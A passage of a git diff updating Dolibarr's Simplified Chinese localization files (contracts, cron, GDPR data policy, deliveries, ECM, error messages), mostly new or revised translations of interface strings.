InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/zh_CN/contracts.lang b/htdocs/langs/zh_CN/contracts.lang index 5ab0a747253..3120578a4ee 100644 --- a/htdocs/langs/zh_CN/contracts.lang +++ b/htdocs/langs/zh_CN/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=联系人/订阅 ContractsAndLine=合同及合同明细 Contract=合同 ContractLine=合同明细 +ContractLines=Contract lines Closing=关闭 NoContracts=没有合同 MenuServices=服务 @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=您确定要删除此合约项吗? MoveToAnotherContract=移动到另一个合同的服务。 ConfirmMoveToAnotherContract=我选用新的目标合同,确认我想进入这个合同这项服务。 ConfirmMoveToAnotherContractQuestion=选择哪个现有合同(同一合作方),您想将此服务移至哪个? -PaymentRenewContractId=续订合同线(%s的数目) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=失效日期 NoExpiredServices=空空如也——没有过期的主动服务 ListOfServicesToExpireWithDuration=在 %s 天内将期满的服务列表 @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=签约客户的联系人 HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/zh_CN/cron.lang b/htdocs/langs/zh_CN/cron.lang index d14d20202fa..1157134ff68 100644 --- a/htdocs/langs/zh_CN/cron.lang +++ b/htdocs/langs/zh_CN/cron.lang @@ -26,7 +26,7 @@ CronCommand=命令 CronList=计划任务 CronDelete=删除计划任务 CronConfirmDelete=您确定要删除这些预定作业吗? -CronExecute=安排计划工作 +CronExecute=Launch now CronConfirmExecute=您确定要立即执行这些预定作业吗? CronInfo=计划作业模块允许计划作业以自动执行它们。也可以手动启动作业。 CronTask=工作 @@ -58,7 +58,7 @@ CronNote=说明 CronFieldMandatory=栏位 %s 为必填 CronErrEndDateStartDt=结束日期不能早过开始日期啊,时光不能倒流呀魂淡 StatusAtInstall=模块安装时的状态 -CronStatusActiveBtn=Schedule +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=禁用 CronTaskInactive=This job is disabled (not scheduled) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Go into menu "Home - Admin tools - JobDisabled=岗位无效 MakeLocalDatabaseDumpShort=本地数据库备份 MakeLocalDatabaseDump=Create a local database dump. Parameters are: compression ('gz' or 'bz' or 'none'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' or filename to build, number of backup files to keep +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=注意,出于性能目的,无论启用作业的下一个执行日期是什么,您的作业可能会在运行之前延迟到最大值%s小时。 DATAPOLICYJob=Data cleaner and anonymizer JobXMustBeEnabled=Job %s must be enabled +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Last executed scheduled job NextScheduledJobExecute=Next scheduled job to execute NumberScheduledJobError=Number of scheduled jobs in error +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/zh_CN/datapolicy.lang b/htdocs/langs/zh_CN/datapolicy.lang new file mode 100644 index 00000000000..11e8baf2403 --- /dev/null +++ b/htdocs/langs/zh_CN/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = 数据隐私政策 +# Module description 'ModuledatapolicyDesc' +Module4100Desc = 管理数据隐私的模块(符合GDPR) + +# +# Administration page +# +datapolicySetup = 数据隐私政策模块设置 +Deletion = 删除数据 +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s月 +ONE_YEAR = 1年 +NB_YEARS = %s年 +DATAPOLICY_TIERS_CLIENT = 客户 +DATAPOLICY_TIERS_PROSPECT = 准客户 +DATAPOLICY_TIERS_PROSPECT_CLIENT = 准客户/客户 +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = 供应商 +DATAPOLICY_CONTACT_CLIENT = 客户 +DATAPOLICY_CONTACT_PROSPECT = 准客户 +DATAPOLICY_CONTACT_PROSPECT_CLIENT = 准客户/客户 +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = 供应商 +DATAPOLICY_ADHERENT = 会员 +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = 电子邮件设置 +DATAPOLICYSUBJECTMAIL = 电子邮件主题 +DATAPOLICYCONTENTMAIL = 电子邮件内容 +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = 发送电子邮件 +AllAgreementSend = 所有电子邮件都已发送 +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = 个人数据的导出 +DATAPOLICY_PORTABILITE_CONFIRMATION = 您想导出该联系人的个人资料。您确定吗? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = 电子邮件已发送 + +# ERROR +ErrorSubjectIsRequired = 错误 : 电子邮件的主题是必需的。请在模块设置中注明 +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/zh_CN/deliveries.lang b/htdocs/langs/zh_CN/deliveries.lang index af63b1c926c..bc9eea3545d 100644 --- a/htdocs/langs/zh_CN/deliveries.lang +++ b/htdocs/langs/zh_CN/deliveries.lang @@ -1,16 +1,16 @@ # Dolibarr language file - Source file is en_US - deliveries Delivery=交货 DeliveryRef=送达编号 -DeliveryCard=交货信息 -DeliveryOrder=Delivery receipt +DeliveryCard=收货卡 +DeliveryOrder=交货凭证 DeliveryDate=交货日期 -CreateDeliveryOrder=产生交货单 +CreateDeliveryOrder=生成交货凭证 DeliveryStateSaved=交货状态保存 SetDeliveryDate=送货日期设置 ValidateDeliveryReceipt=验证送达回执 -ValidateDeliveryReceiptConfirm=你确定要验证这个交货收据吗? +ValidateDeliveryReceiptConfirm=您确定要验证这张交货凭证吗? DeleteDeliveryReceipt=删除送达回执 -DeleteDeliveryReceiptConfirm=你确定要删除送达回执%s吗? +DeleteDeliveryReceiptConfirm=您确定要删除交货凭证%s吗? DeliveryMethod=运输方式 TrackingNumber=运单号码 DeliveryNotValidated=交付未验证 @@ -18,16 +18,16 @@ StatusDeliveryCanceled=已取消 StatusDeliveryDraft=草稿 StatusDeliveryValidated=已接收 # merou PDF model -NameAndSignature=Name and Signature: +NameAndSignature=名字和签名: ToAndDate=To___________________________________ on ____/_____/__________ GoodStatusDeclaration=上述货物完好并已签收, -Deliverer=Deliverer: +Deliverer=送货员: Sender=发送方 Recipient=接收方 ErrorStockIsNotEnough=库存不足 Shippable=可运输 NonShippable=不可运输 -ShowShippableStatus=Show shippable status -ShowReceiving=显示送达回执 -NonExistentOrder=Nonexistent order -StockQuantitiesAlreadyAllocatedOnPreviousLines = Stock quantities already allocated on previous lines +ShowShippableStatus=显示运输的状态 +ShowReceiving=显示交货凭证 +NonExistentOrder=不存在的订单 +StockQuantitiesAlreadyAllocatedOnPreviousLines = 已经分配到前几行的的库存数量 diff --git a/htdocs/langs/zh_CN/dict.lang b/htdocs/langs/zh_CN/dict.lang index 770f81c6f4c..b8642c1185d 100644 --- a/htdocs/langs/zh_CN/dict.lang +++ b/htdocs/langs/zh_CN/dict.lang @@ -21,7 +21,7 @@ CountryNL=荷兰 CountryHU=匈牙利 CountryRU=俄国 CountrySE=瑞典 -CountryCI=Ivoiry海岸 +CountryCI=Ivory Coast CountrySN=塞内加尔 CountryAR=阿根廷 CountryCM=喀麦隆 @@ -250,7 +250,9 @@ CountryMF=圣马丁 ##### Civilities ##### CivilityMME=夫人 +CivilityMMEShort=夫人 CivilityMR=先生 +CivilityMRShort=先生 CivilityMLE=女士 CivilityMTRE=尊上(花千骨看多了) CivilityDR=医生 diff --git a/htdocs/langs/zh_CN/donations.lang b/htdocs/langs/zh_CN/donations.lang index ba7103cc726..db58e7ed867 100644 --- a/htdocs/langs/zh_CN/donations.lang +++ b/htdocs/langs/zh_CN/donations.lang @@ -16,7 +16,7 @@ DonationStatusPromiseNotValidatedShort=草稿 DonationStatusPromiseValidatedShort=验证 DonationStatusPaidShort=收稿 DonationTitle=捐款收据 -DonationDate=Donation date +DonationDate=捐赠日期 DonationDatePayment=付款日期 ValidPromess=验证承诺 DonationReceipt=捐款收据 @@ -32,3 +32,4 @@ DONATION_ART238=从CGI显示238笔 DONATION_ART885=从CGI显示885笔 DonationPayment=捐赠付款 DonationValidated=捐赠%s经过验证 +DonationUseThirdparties=使用现有的第三方作为捐赠者的目标 diff --git a/htdocs/langs/zh_CN/ecm.lang b/htdocs/langs/zh_CN/ecm.lang index b4d31e86981..7c6670bce74 100644 --- a/htdocs/langs/zh_CN/ecm.lang +++ b/htdocs/langs/zh_CN/ecm.lang @@ -1,29 +1,32 @@ # Dolibarr language file - Source file is en_US - ecm -ECMNbOfDocs=No. of documents in directory +ECMNbOfDocs=目录中的文档数量 ECMSection=目录 ECMSectionManual=手册目录 ECMSectionAuto=自动目录 ECMSectionsManual=手动目录树 ECMSectionsAuto=自动目录树 +ECMSectionsMedias=Medias tree ECMSections=目录 ECMRoot=ECM Root ECMNewSection=新目录 -ECMAddSection=添加手册目录 +ECMAddSection=添加目录 ECMCreationDate=创建日期 ECMNbOfFilesInDir=在目录中的文件数 -ECMNbOfSubDir=数子目录 +ECMNbOfSubDir=子目录数量 ECMNbOfFilesInSubDir=子目录中的文件数量 -ECMCreationUser=创造者 -ECMArea=电子文档管理 +ECMCreationUser=创建人 +ECMArea=电子文档管理区域 ECMAreaDesc=DMS / ECM(文档管理系统/电子内容管理)区域允许您快速保存,共享和搜索Dolibarr中的所有类型的文档。 -ECMAreaDesc2=*自动填写目录时自动加入一个元素从卡的文件。
      *手动目录可以用来保存未链接到一个特定元素的文件。 +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=目录%s已被删除。 ECMSectionWasCreated=目录 %s已创建。 ECMSearchByKeywords=搜寻关键字 ECMSearchByEntity=搜索对象 ECMSectionOfDocuments=目录中的文件 ECMTypeAuto=自动 -ECMDocsBy=Documents linked to %s +ECMDocsBy=文档链接到%s ECMNoDirectoryYet=没有目录中创建 ShowECMSection=显示目录 DeleteSection=删除目录 @@ -34,16 +37,16 @@ CannotRemoveDirectoryContainsFiles=不可删除,因为它包含一些文件 ECMFileManager=档案管理员 ECMSelectASection=请在左侧目录树中选取目录... DirNotSynchronizedSyncFirst=此目录似乎是在ECM模块外部创建或修改的。您必须先单击“重新同步”按钮以同步磁盘和数据库以获取此目录的内容。 -ReSyncListOfDir=重新同步目录列表 -HashOfFileContent=散列文件内容 +ReSyncListOfDir=重新同步目录清单 +HashOfFileContent=文件内容的哈希值 NoDirectoriesFound=找不到目录 FileNotYetIndexedInDatabase=文件尚未编入数据库(尝试重新上传) -ExtraFieldsEcmFiles=Extrafields Ecm Files -ExtraFieldsEcmDirectories=Extrafields Ecm Directories -ECMSetup=ECM Setup -GenerateImgWebp=Duplicate all images with another version with .webp format -ConfirmGenerateImgWebp=If you confirm, you will generate an image in .webp format for all images currently into this folder (subfolders are not included)... -ConfirmImgWebpCreation=Confirm all images duplication -SucessConvertImgWebp=Images successfully duplicated -ECMDirName=Dir name -ECMParentDirectory=Parent directory +ExtraFieldsEcmFiles=额外字段 Ecm 文件 +ExtraFieldsEcmDirectories=额外字段 Ecm 目录 +ECMSetup=ECM 设置 +GenerateImgWebp=用另一个带有 .webp 格式的版本复制所有图像 +ConfirmGenerateImgWebp=如果您确认,您将为目前进入此文件夹的所有图像都生成一份带.wepb 格式的图像 (不包含子文件夹)…… +ConfirmImgWebpCreation=确认所有图像重复 +SucessConvertImgWebp=图像成功复制 +ECMDirName=目录名称 +ECMParentDirectory=父目录 diff --git a/htdocs/langs/zh_CN/errors.lang b/htdocs/langs/zh_CN/errors.lang index 53188bca81d..2fd7f39c933 100644 --- a/htdocs/langs/zh_CN/errors.lang +++ b/htdocs/langs/zh_CN/errors.lang @@ -4,15 +4,17 @@ NoErrorCommitIsDone=没有错误,我们承诺 # Errors ErrorButCommitIsDone=发现错误我们将进行验证 -ErrorBadEMail=Email %s is incorrect -ErrorBadMXDomain=Email %s seems incorrect (domain has no valid MX record) -ErrorBadUrl=Url %s is incorrect +ErrorBadEMail=电子邮件%s不正确 +ErrorBadMXDomain=电子邮件%s似乎不正确(域名没有有效的MX记录) +ErrorBadUrl=网址%s不正确 ErrorBadValueForParamNotAString=参数值不正确。它通常在缺少翻译时附加。 -ErrorRefAlreadyExists=Reference %s already exists. +ErrorRefAlreadyExists=参考%s已存在 +ErrorTitleAlreadyExists=标题%s已存在 ErrorLoginAlreadyExists=登陆%s已经存在。 ErrorGroupAlreadyExists=组%s已经存在。 -ErrorEmailAlreadyExists=Email %s already exists. +ErrorEmailAlreadyExists=电子邮件%s已存在 ErrorRecordNotFound=记录没有找到。 +ErrorRecordNotFoundShort=未找到 ErrorFailToCopyFile=无法复制文件'%s''%s'。 ErrorFailToCopyDir=无法将目录“ %s ”复制到“ %s ”中。 ErrorFailToRenameFile=无法重新命名为“%s'文件'%s'。 @@ -26,34 +28,35 @@ ErrorFailToGenerateFile=无法生成文件' %s '。 ErrorThisContactIsAlreadyDefinedAsThisType=这个联络已定义为这种类型的接触。 ErrorCashAccountAcceptsOnlyCashMoney=这是一个银行帐户的现金帐户,所以只接受现金支付的类型。 ErrorFromToAccountsMustDiffers=源和目标的银行帐户必须是不同的。 -ErrorBadThirdPartyName=Bad value for third-party name -ForbiddenBySetupRules=Forbidden by setup rules +ErrorBadThirdPartyName=第三方名称的错误值 +ForbiddenBySetupRules=已经被设置规则禁止 ErrorProdIdIsMandatory=%s 是强制性的 -ErrorAccountancyCodeCustomerIsMandatory=The accountancy code of customer %s is mandatory -ErrorBadCustomerCodeSyntax=错误的客户编号 -ErrorBadBarCodeSyntax=Bad syntax for barcode. May be you set a bad barcode type or you defined a barcode mask for numbering that does not match value scanned. -ErrorCustomerCodeRequired=客户编号需要 -ErrorBarCodeRequired=Barcode required -ErrorCustomerCodeAlreadyUsed=客户编号已被使用 -ErrorBarCodeAlreadyUsed=Barcode already used +ErrorAccountancyCodeCustomerIsMandatory=客户%s的科目代码是必须的 +ErrorBadCustomerCodeSyntax=客户代码的语法错误 +ErrorBadBarCodeSyntax=条形码语法错误。可能是您设置了一个错误的条形码类型,或者您定义的条形码掩码与扫描的数值不匹配 +ErrorCustomerCodeRequired=需要客户代码 +ErrorBarCodeRequired=需要条形码 +ErrorCustomerCodeAlreadyUsed=客户代码已被使用 +ErrorBarCodeAlreadyUsed=条形码已使用 ErrorPrefixRequired=前缀要求 ErrorBadSupplierCodeSyntax=供应商代码的语法错误 ErrorSupplierCodeRequired=需要供应商代码 ErrorSupplierCodeAlreadyUsed=已使用供应商代码 ErrorBadParameters=错误的参数 -ErrorWrongParameters=Wrong or missing parameters +ErrorWrongParameters=错误或缺少参数 ErrorBadValueForParameter=错误值 '%s' 参数 '%s' ErrorBadImageFormat=图片格式不支持(你的PHP不支持图片格式转换功能) ErrorBadDateFormat=值“%s”有错误的日期格式 ErrorWrongDate=日期不正确! ErrorFailedToWriteInDir=无法写在目录%s +ErrorFailedToBuildArchive=建立档案文件%s失败 ErrorFoundBadEmailInFile=找到%S的语法不正确的电子邮件文件中的行(例如行%的电子邮件s =%s)的 -ErrorUserCannotBeDelete=User cannot be deleted. Maybe it is associated to Dolibarr entities. -ErrorFieldsRequired=Some required fields have been left blank. -ErrorSubjectIsRequired=The email subject is required +ErrorUserCannotBeDelete=无法删除用户,也许它与Dolibarr实体相关 +ErrorFieldsRequired=一些必填字段被留空 +ErrorSubjectIsRequired=需要电子邮件主题 ErrorFailedToCreateDir=无法创建一个目录。检查Web服务器的用户有权限写入Dolibarr文件目录。如果参数safe_mode设置为启用这个PHP,检查Dolibarr php文件到Web服务器的用户拥有(或组)。 ErrorNoMailDefinedForThisUser=没有邮件定义该用户 -ErrorSetupOfEmailsNotComplete=Setup of emails is not complete +ErrorSetupOfEmailsNotComplete=电子邮件设置未完成 ErrorFeatureNeedJavascript=此功能需要Javascript被激活才能工作。更改此设置 - 显示。 ErrorTopMenuMustHaveAParentWithId0=一个类型'顶'不能有一个父菜单中的菜单。放在父菜单0或选择一个类型为'左'菜单。 ErrorLeftMenuMustHaveAParentId=一个类型为'左'必须有一个父菜单的ID。 @@ -62,58 +65,59 @@ ErrorDirNotFound=目录%s不存在(错误的道路,错误的参数saf ErrorFunctionNotAvailableInPHP=函数%s是需要此功能,但并不在此版本/ PHP设置的。 ErrorDirAlreadyExists=具有此名称的目录已经存在。 ErrorFileAlreadyExists=具有此名称的文件已经存在。 -ErrorDestinationAlreadyExists=Another file with the name %s already exists. -ErrorPartialFile=文件未收到了完全由服务器。 +ErrorDestinationAlreadyExists=名称为%s的文件已存在 +ErrorPartialFile=服务器没有完整收到文件 ErrorNoTmpDir=临时的说明书%s不存在。 -ErrorUploadBlockedByAddon=上传封锁一个PHP / Apache的插件。 -ErrorFileSizeTooLarge=文件大小是太大。 -ErrorFieldTooLong=Field %s is too long. -ErrorSizeTooLongForIntType=尺寸int类型的长(%s最大位数) -ErrorSizeTooLongForVarcharType=尺寸长字符串类型(%s字符最大) -ErrorNoValueForSelectType=请填写选取列表值 +ErrorUploadBlockedByAddon=PHP / Apache的插件阻止上传 +ErrorFileSizeTooLarge=文件尺寸太大或文件未提供 +ErrorFieldTooLong=字段%s太长 +ErrorSizeTooLongForIntType=对于int类型来说,尺寸太长(%s最大数字) +ErrorSizeTooLongForVarcharType=对于字符串类型来说,尺寸太长(%s最大字符数) +ErrorNoValueForSelectType=请填写选取清单的值 ErrorNoValueForCheckBoxType=请填写复选框列表值 ErrorNoValueForRadioType=请填写电台列表的值 ErrorBadFormatValueList=列表值不能有一个以上的逗号: %s, 但至少需要一个: key,value -ErrorFieldCanNotContainSpecialCharacters=The field %s must not contains special characters. -ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters and cannot contain only numbers. -ErrorFieldMustHaveXChar=The field %s must have at least %s characters. +ErrorFieldCanNotContainSpecialCharacters=字段%s必须不包括特殊字符 +ErrorFieldCanNotContainSpecialNorUpperCharacters=字段%s必须不包括特殊字符,也不能包括大写字符,和必须以字母字符(a-z)开始 +ErrorFieldMustHaveXChar=字段%s必须有至少%s字符 ErrorNoAccountancyModuleLoaded=没有激活启用任何财务会计模块 ErrorExportDuplicateProfil=导出设定配置名称已存在 ErrorLDAPSetupNotComplete=Dolibarr - LDAP的匹配是不完整的。 ErrorLDAPMakeManualTest=甲。LDIF文件已经生成在目录%s的尝试加载命令行手动有更多的错误信息。 ErrorCantSaveADoneUserWithZeroPercentage=Can't save an action with "status not started" if field "done by" is also filled. -ErrorRefAlreadyExists=Reference %s already exists. +ErrorRefAlreadyExists=参考%s已存在 ErrorPleaseTypeBankTransactionReportName=请输入必须报告条目的银行对账单名称(格式YYYYMM或YYYYMMDD) -ErrorRecordHasChildren=Failed to delete record since it has some child records. -ErrorRecordHasAtLeastOneChildOfType=Object %s has at least one child of type %s -ErrorRecordIsUsedCantDelete=Can't delete record. It is already used or included into another object. +ErrorRecordHasChildren=因为有子记录所以删除记录失败 +ErrorRecordHasAtLeastOneChildOfType=对象%s至少有一个子类别%s +ErrorRecordIsUsedCantDelete=无法删除记录,它已经被使用或者包括在另一个对象中 ErrorModuleRequireJavascript=不能禁用JavaScript必须有此功能的工作。要启用/禁用JavaScript,进入菜单首页->安装->“显示。 ErrorPasswordsMustMatch=这两种类型的密码必须相互匹配 ErrorContactEMail=A technical error occured. Please, contact administrator to following email %s and provide the error code %s in your message, or add a screen copy of this page. ErrorWrongValueForField=Field %s: '%s' does not match regex rule %s +ErrorHtmlInjectionForField=Field %s: The value '%s' contains a malicious data not allowed ErrorFieldValueNotIn=Field %s: '%s' is not a value found in field %s of %s -ErrorFieldRefNotIn=Field %s: '%s' is not a %s existing ref -ErrorsOnXLines=%s errors found +ErrorFieldRefNotIn=字段%s:“%s”不是%s现有参考。 +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. +ErrorsOnXLines=发现%s错误 ErrorFileIsInfectedWithAVirus=防病毒程序无法验证文件(文件可能被病毒感染) -ErrorSpecialCharNotAllowedForField=特殊字符不为外地允许“%s的” ErrorNumRefModel=存在一个引用(%s)和编号是不符合本规则兼容到数据库。记录中删除或重命名参考激活此模块。 ErrorQtyTooLowForThisSupplier=Quantity too low for this vendor or no price defined on this product for this vendor ErrorOrdersNotCreatedQtyTooLow=Some orders haven't been created because of too-low quantities ErrorModuleSetupNotComplete=Setup of module %s looks to be uncomplete. Go on Home - Setup - Modules to complete. -ErrorBadMask=在面具的错误 -ErrorBadMaskFailedToLocatePosOfSequence=没有序列号错误,面具 +ErrorBadMask=掩码错误 +ErrorBadMaskFailedToLocatePosOfSequence=错误,掩码没有序列数字 ErrorBadMaskBadRazMonth=错误,坏的复位值 -ErrorMaxNumberReachForThisMask=Maximum number reached for this mask +ErrorMaxNumberReachForThisMask=该掩码达到的最大数字 ErrorCounterMustHaveMoreThan3Digits=计数器必须有3个以上的数字 -ErrorSelectAtLeastOne=Error, select at least one entry. -ErrorDeleteNotPossibleLineIsConsolidated=Delete not possible because record is linked to a bank transaction that is conciliated +ErrorSelectAtLeastOne=错误,至少选择一项 +ErrorDeleteNotPossibleLineIsConsolidated=无法删除,因为记录链接到一个已调解的银行交易 ErrorProdIdAlreadyExist=%s被分配到其他合作方 ErrorFailedToSendPassword=无法传送密码 ErrorFailedToLoadRSSFile=未能得到RSS提要。尝试添加恒定MAIN_SIMPLEXMLLOAD_DEBUG,如果错误消息不提供足够的信息。 -ErrorForbidden=访问被拒绝。
      您尝试访问已禁用模块的页面,区域或功能,或者不在经过身份验证的会话中或不允许您的用户访问。 +ErrorForbidden=访问被拒绝。
      您尝试访问已禁用模块的页面、区域或功能,或者不在经过身份验证的会话中或不允许您的用户访问。 ErrorForbidden2=此登陆权限可在你的Dolibarr管理员菜单 %s->%s中定义。 ErrorForbidden3=看来Dolibarr是不是通过身份验证的会话中使用。以在Dolibarr安装文件就会知道如何管理认证(htaccess的,mod_auth或其他...). -ErrorForbidden4=Note: clear your browser cookies to destroy existing sessions for this login. +ErrorForbidden4=注意:清除你的浏览器cookies,以销毁该登录的现有会话。 ErrorNoImagickReadimage=功能imagick_readimage是没有发现在这个PHP。没有预览可用。管理员可以从菜单中禁用此设置 - 显示选项卡。 ErrorRecordAlreadyExists=记录已存在 ErrorLabelAlreadyExists=此标签已存在 @@ -130,7 +134,7 @@ ErrorBothFieldCantBeNegative=栏位%s和%s不能都为负的 ErrorFieldCantBeNegativeOnInvoice=Field %s cannot be negative on this type of invoice. If you need to add a discount line, just create the discount first (from field '%s' in thirdparty card) and apply it to the invoice. ErrorLinesCantBeNegativeForOneVATRate=Total of lines (net of tax) can't be negative for a given not null VAT rate (Found a negative total for VAT rate %s%%). ErrorLinesCantBeNegativeOnDeposits=Lines can't be negative in a deposit. You will face problems when you will need to consume the deposit in final invoice if you do so. -ErrorQtyForCustomerInvoiceCantBeNegative=进入客户发票的数量不能为负数 +ErrorQtyForCustomerInvoiceCantBeNegative=进入客户发票行的数量不能为负数 ErrorWebServerUserHasNotPermission=%s用来执行Web服务器用户帐户没有该权限 ErrorNoActivatedBarcode=没有激活的条码类型 ErrUnzipFails=%s 无法解压缩与解压缩 @@ -144,17 +148,17 @@ ErrorNewValueCantMatchOldValue=新价值不能等于旧的价值 ErrorFailedToValidatePasswordReset=重新初始化密码密码失败。重新初始化密码已经完成(该链接可以只用一次)。如果没有,请尝试重新启动初始化过程。 ErrorToConnectToMysqlCheckInstance=连接数据库失败。检查数据库服务器是否正在运行(例如,使用mysql / mariadb,您可以使用'sudo service mysql start'从命令行启动它)。 ErrorFailedToAddContact=无法添加联系人 -ErrorDateMustBeBeforeToday=The date must be lower than today -ErrorDateMustBeInFuture=The date must be greater than today +ErrorDateMustBeBeforeToday=日期必须早于今天 +ErrorDateMustBeInFuture=日期必须晚于今天 ErrorPaymentModeDefinedToWithoutSetup=付款模式设置为键入%s但未完成模块发票的设置以定义要为此付款模式显示的信息。 ErrorPHPNeedModule=错误,您的PHP必须安装模块 %s 才能使用此功能。 -ErrorOpenIDSetupNotComplete=您设置Dolibarr配置文件以允许OpenID身份验证,但OpenID服务的URL未定义为常量%s +ErrorOpenIDSetupNotComplete=您设置Dolibarr配置文件以允许OpenID身份认证,但OpenID服务的网址未定义为常量%s ErrorWarehouseMustDiffers=源仓库和目标仓库必须不同 ErrorBadFormat=格式错误! -ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=错误,此成员尚未链接到任何合作方。在创建订阅发票之前,将成员链接到现有合作方或创建新的合作方。 +ErrorMemberNotLinkedToAThirpartyLinkOrCreateFirst=错误,此会员尚未链接到任何合作方。在创建订阅发票之前,将会员链接到现有合作方或创建新的合作方。 ErrorThereIsSomeDeliveries=错误,此运输已被关联到某交货,即可能已经交货了不能反悔了。拒绝删除。 ErrorCantDeletePaymentReconciliated=无法删除已生成已对帐的银行条目的付款 -ErrorCantDeletePaymentSharedWithPayedInvoice=Can't delete a payment shared by at least one invoice with status Paid +ErrorCantDeletePaymentSharedWithPayedInvoice=无法删除由至少一张状态为已支付的发票共享的付款 ErrorPriceExpression1=无法分配到常数 '%s' ErrorPriceExpression2=不能重新定义内置函数 '%s' ErrorPriceExpression3=未定义的变量 '%s' 在函数的定义 @@ -190,16 +194,16 @@ ErrorMandatoryParametersNotProvided=未提供强制参数 ErrorOppStatusRequiredIfAmount=You set an estimated amount for this lead. So you must also enter it's status. ErrorFailedToLoadModuleDescriptorForXXX=无法加载%s的模块描述符类 ErrorBadDefinitionOfMenuArrayInModuleDescriptor=模块描述符中菜单数组的错误定义(关键字fk_menu的错误值) -ErrorSavingChanges=An error has occurred when saving the changes +ErrorSavingChanges=保存变更时发生错误 ErrorWarehouseRequiredIntoShipmentLine=在运输线上需要仓库 ErrorFileMustHaveFormat=文件格式必须为%s -ErrorFilenameCantStartWithDot=Filename can't start with a '.' +ErrorFilenameCantStartWithDot=文件名称不能以“.”开始 ErrorSupplierCountryIsNotDefined=未定义此供应商的国家/地区。先纠正这个问题。 ErrorsThirdpartyMerge=两条记录合并失败。请求已取消。 ErrorStockIsNotEnoughToAddProductOnOrder=产品%s的库存不足以将其添加到新订单中。 ErrorStockIsNotEnoughToAddProductOnInvoice=产品%s的库存不足以将其添加到新发票中。 -ErrorStockIsNotEnoughToAddProductOnShipment=产品%s的库存不足以将其添加到新货件中。 -ErrorStockIsNotEnoughToAddProductOnProposal=产品%s的库存不足以将其添加到新提案中。 +ErrorStockIsNotEnoughToAddProductOnShipment=产品%s的库存不足以将其添加到新发货中。 